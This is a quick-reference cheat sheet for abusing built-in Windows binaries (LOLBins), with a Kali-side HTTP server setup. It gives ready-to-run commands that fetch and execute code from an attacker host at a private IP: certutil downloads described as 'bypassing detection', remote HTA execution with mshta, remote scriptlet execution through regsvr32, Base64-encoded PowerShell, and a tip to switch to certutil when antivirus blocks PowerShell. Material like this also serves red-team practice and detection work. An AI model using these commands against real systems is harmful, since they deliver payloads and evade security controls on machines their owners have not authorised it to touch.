LOLBins Quick Reference

File Download with certutil.exe

cmd

```
# Download file bypassing detection
certutil -urlcache -split -f http://192.168.2.174:8080/file.txt \
file.txt

# Clean up cache
certutil -urlcache -split -f http://192.168.2.174:8080/file.txt delete
```

Remote Script Execution with mshta.exe

cmd

```
# Execute HTA file from URL (no disk write)
mshta http://192.168.2.174:8080/payload.hta
```

Example HTA file:

html

```
<html>
<script>
alert("Hello from mshta!");
</script>
</html>
```

DLL Execution with regsvr32.exe

cmd

```
# Execute remote scriptlet via COM objects
regsvr32 /s /n /u /i:http://192.168.2.174:8080/script.sct \
scrobj.dll
```

Parameters:

- `/s` - Silent mode
- `/n` - Don't call DllRegisterServer
- `/u` - Unregister DLL
- `/i:<url>` - Pass URL argument

PowerShell Obfuscation

```powershell
# Encode command to Base64
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('whoami'))

# Execute encoded command
powershell -EncodedCommand <base64_string>
```

HTTP Server Setup (Kali)

```bash
# Quick Python server
python3 -m http.server 8080

# With virtual environment
python3 -m venv .venv
source .venv/bin/activate
python3 -m http.server 8080
```

Troubleshooting

- **Connection refused:** Check firewall `sudo ufw allow 8080`
- **AV blocks PowerShell:** Use certutil instead
- **Tool not found:** Use full path `C:\Windows\System32\certutil.exe`